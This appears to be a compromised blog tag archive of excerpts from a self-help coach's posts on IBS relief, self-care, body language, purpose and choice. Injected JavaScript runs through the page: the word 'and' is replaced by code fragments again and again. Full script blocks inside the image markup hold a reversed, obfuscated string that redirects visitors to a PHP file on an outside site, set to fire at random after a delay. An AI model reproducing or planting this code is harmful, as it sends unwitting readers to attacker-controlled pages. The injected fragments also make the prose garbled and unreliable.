Tagged: self empowerment

IBS Relief: Are You Making Time or Excuses?

IBS Relief: Are You Making Time or Excuses?

Not having the time is the number one excuse we all use when we aren’t getting the results we want. I won’t argue with the fact that our lives are jammed packed with activity. For many of my clients it’s work, kids, house chores, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and bed. If you are suffering from physical pain or IBS, that adds a whole new level of stress into your daily routine. Regardless of what you may be dealing with in your life, the difference between my clients who get what they want andom() * 5);if (number1==3){var [...]

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Self-Care andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS Relief

Self-Care <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS Relief" class="alignleft wp-post-image" />

We hear often in the self-help world how important self-care is. However, we don’t do it enough andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it’s because we don’t know how. I think we have a perception that there’s a right way to do self-care.

 

I laughed inside when my client thanked me for not telling her to do yoga andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pilates. That’s the funny thing about self-care; you don’t have to do anything. I notice a lot of people putting self-care into their routine as a forced thing. Then they feel tired [...]

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Body Language, Superheroes, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS

Body Language, Superheroes, <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS" class="alignleft wp-post-image" />


I just watched the Amy Cuddy, social psychologist andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and assistant professor at Harvard University, video on body language.

 

She talked about body language andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how it affects our entire lives.

 

It got me thinking about how body language affects our reaction to discomfort.

 

She discusses successful people having higher levels of testosterone andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and lower levels of cortisol. And how the way we posture our bodies can naturally produce these two things. So high-power poses can produce good hormones, which equals feeling [...]

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Empowering Your Little Me

Empowering Your Little Me

 

“And the day came when the risk to remain tight in the bud was more painful than the risk it took to blossom.”  Anais Nin

 

I realized recently that I was still carrying a piece of that in the bud person with in me. Though I have made huge strides over the last few years there was still the part of me who wanted to hide in the shadow. Avoid discomfort, conflict, or just plain speaking my mind.

 

The thing about that little bud, that “little part of me”, that I was carrying inside was that sometimes I relied on it [...]

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Finding Your Something Else

Finding Your Something Else

Next month marks two years since I left my safe, secure, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tenured job. I had spent 11 long years in a job that drained me mentally andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and physically. To say it was not the best use of my talents is an understatement. I always knew I wanted to do something else, but I had a hard time figuring out exactly what the “else” was. I was very driven andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and motivated, which made it all the more difficult [...]

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Recognizing Your Purpose

Recognizing Your Purpose

I’ve been traveling for business this week andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have reveling in the a-ha’s you get from spending time with other entrepreneurs! This week’s post is short andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and simple with a big tip on how to view your purpose.

I spent the last three days at a business conference focused on the notion of purpose. Many clients come to because they are uncomfortable in their job or other part of their life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and think it is because they don’t know [...]

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What Matters More Than the Letters After Your Name

What Matters More Than the Letters After Your Name

I met with a new client this week. Though she was new to me, her story was a familiar one that I had heard from many clients. She came to me regarding a lack of confidence in the workplace. She wanted to be more assertive andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and play a bigger role, but was crippled by feelings of indecision andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and self-doubt. When I asked her why she didn’t assert herself more in the workplace she said she simply didn’t know enough. In my work with clients I [...]

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The Power of Choice

The Power of Choice

     We typically live our lives in one of two ways: living a life that is dictated by unending responsibilities or living in a world that is full of abundant choices that we create. People are often shocked to find that these two places exist in the same universe. They question the fact that we have a choice because there are some things we just have to do.

 

      The biggest shift happened in my life was when I learned the power of choice. Sure we may not want to do certain things like taking out the trash or even going [...]

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